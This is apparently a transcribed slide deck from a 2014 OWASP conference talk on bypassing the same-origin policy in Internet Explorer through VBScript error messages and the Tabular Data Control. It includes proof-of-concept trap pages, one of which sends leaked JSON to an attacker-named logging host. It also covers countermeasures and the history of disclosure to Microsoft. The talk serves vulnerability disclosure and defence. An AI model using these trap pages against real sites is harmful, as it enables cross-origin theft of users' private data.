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Bypass SOP, Theft your data #appsecapac2014

OWASP Japan
March 20, 2014
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Bypass SOP, Theft your data #appsecapac2014

OWASP Japan

March 20, 2014
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  1. !  Yosuke  HASEGAWA    @hasegawayosuke     !  Engineer  of

     NetAgent  Co.,Ltd.   !  Secure  Sky  Technology  Inc.  technical  adviser   !  http://utf-‐‑‒8.jp/ author  of  jjencode,  aaencode,  ...   !  OWASP  Kansai  Chapter  Leader   !  OWASP  Japan  Chapter  Advisory  Board  member  
  2. !  Cross-‐‑‒Origin  information  disclosure   !  Not  XSS,  but  bypass

     SOP     !  Introduce  2  ways  for  modern  IE   !  VBScript  Error  msg     !  Tabular  Data  Control  
  3. !  VBScript  Error  Msg   !  Target:  IE9-‐‑‒10  (IE6-‐‑‒8  is

     safe,  wow!)   !  Reading  JSON  Array  as  VBScript  on   trap  page  created  by  attacker   !  VBScript  raises  exception  with  error   message  including  JSON  content   !  JavaScript  can  access  to  JSON  content   via  error  message  
  4. !  Reading  JSON  as  VBScript  src   !  fail  →

     raises  exception   //  Trap  page  by  attacker   <script      src="http://example.jp/target.json"      language="vbscript">   </script>   HTTP/1.1  200  OK   Content-­‐Type:  application/json;  charset=utf-­‐8   [  "secret",  "data",  "is",  "here"  ]  
  5. !  catch  error  msg  with  error  handler   GET  http://attacker.utf-­‐8.jp/log?Type%20mismatch:%20'

      %20"secret",%20"message",%20"is",%20"here"%20'  HTTP/1.1   Referer:  http://attacker.utf-­‐8.jp/   User-­‐Agent:  Mozilla/5.0  (compatible;  MSIE  10.0;  Windows  NT   6.1;  WOW64;  Trident/6.0)   <script>   window.onerror  =  function(  e  ){          document.getElementById(  "img"  ).setAttribute(                  "src",  "http://attacker.utf-­‐8.jp/log?"  +  e  );   }   </script>   <script  src="http://example.jp/target.json"   language="vbscript"></script>  
  6. !  Countermeasure   !  add  "X-‐‑‒Content-‐‑‒Type-‐‑‒Options:nosniff"   HTTP/1.1  200  OK

      Content-­‐Type:  application/json;  charset=utf-­‐8   X-­‐Content-­‐Type-­‐Options:  nosniff   [  "secret",  "data",  "is",  "here"  ]  
  7. !  supplementary   !  Dec  2012:  reported  to  MS  by

     me  and   @masa141421356   !  May  2013:  Fixed  with  MS13-‐‑‒037  only   for  IE6-‐‑‒8.  IE9-‐‑‒10  was  not.   !  "Add  X-‐‑‒C-‐‑‒T-‐‑‒O  header  for  IE9-‐‑‒11  to   prevent  from  this  attack,  this  is   BEHAVIOR  BY  DESIGIN"  they  said.  
  8. !  Tabular  Data  Control  -‐‑‒  TDC   !  ActiveX  Control

     for  binding  text  file  into   HTML  as  data  table http://msdn.microsoft.com/en-­‐us/library/ms531356.aspx   !  Enabled  by  default  on  IE6-‐‑‒IE11,  with   older  doc-‐‑‒mode <meta  http-­‐equiv="x-­‐ua-­‐compatible"  content="IE=10">   !  Spotlighted  by  Cure53  X-‐‑‒Mas  Challenge https://cure53.de/xmas2013/   https://cure53.de/xmas2013/writeup    The  winner  is  @kinugawamasato  
  9. //  Trap  page  by  attacker  on  attacker.utf-­‐8.jp   function  show(){

             var  s  =  document.getElementById("tdc")                          .recordset.getString();          alert(  s  );   }   ...   <meta  http-­‐equiv="x-­‐ua-­‐compatible"  content="IE=10"  >   <object  id="tdc"  ondatasetcomplete="show()"      classid="clsid:333C7BC4-­‐460F-­‐11D0-­‐BC04-­‐0080C7055A83">   <param  name="DataURL"  value="http://example.jp/target.txt">   </object>   //target  page  included  secret  data  on  example.jp/target.txt   Content-­‐Type:  application/octet-­‐stream   Content-­‐Disposition:  attachment;  filename=bindata   X-­‐Content-­‐Type-­‐Options:  nosniff   @!allow_domains=attacker.utf-­‐8.jp   secret,data,is,here  
  10. !  Attacker  has  to  insert  "@! allow_domains=..."  into  the  top

     of   target  text   !  Once  inserted,  no  way  to  prevent   from  theft   !  Unhelpful: X-­‐Content-­‐Type-­‐Options:  nosniff     Content-­‐Disposition:  attachment  
  11. !  Countermeasure   !  Restrict  access  to  XHR  request  with

      custom  X  header              and  /  or...   var  xhr  =  new  XMLHttpRequest();   xhr.open(  "GET",  "http://example.jp/target.txt",  true  );   xhr.setRequestHeader("X-­‐Requested-­‐With",  "XMLHttpRequest");   xhr.send(  null  );   GET  /target.json  HTTP/1.1   Host:  example.jp   User-­‐Agent:  Mozilla/5.0…   Accept:  */*   X-­‐Requested-­‐With:  XMLHttpRequest  
  12. !  Countermeasure  (cont.)   !  Don't  allow  to  place  text

     by  attacker   into  top  of  the  content   //target  page  included  secret  data  on  example.jp/target.txt   Content-­‐Type:  application/octet-­‐stream   Content-­‐Disposition:  attachment;  filename=bindata   X-­‐Content-­‐Type-­‐Options:  nosniff   @!allow_domains=attacker.utf-­‐8.jp   secret,data,is,here  
  13. !  Conclusion   !  IE  has  funny  behavior  even  now

      !  Add  X-‐‑‒Content-‐‑‒Type-‐‑‒Options  for  all   resources   !  Restrict  access  to  XHR  with  custom   X-‐‑‒  header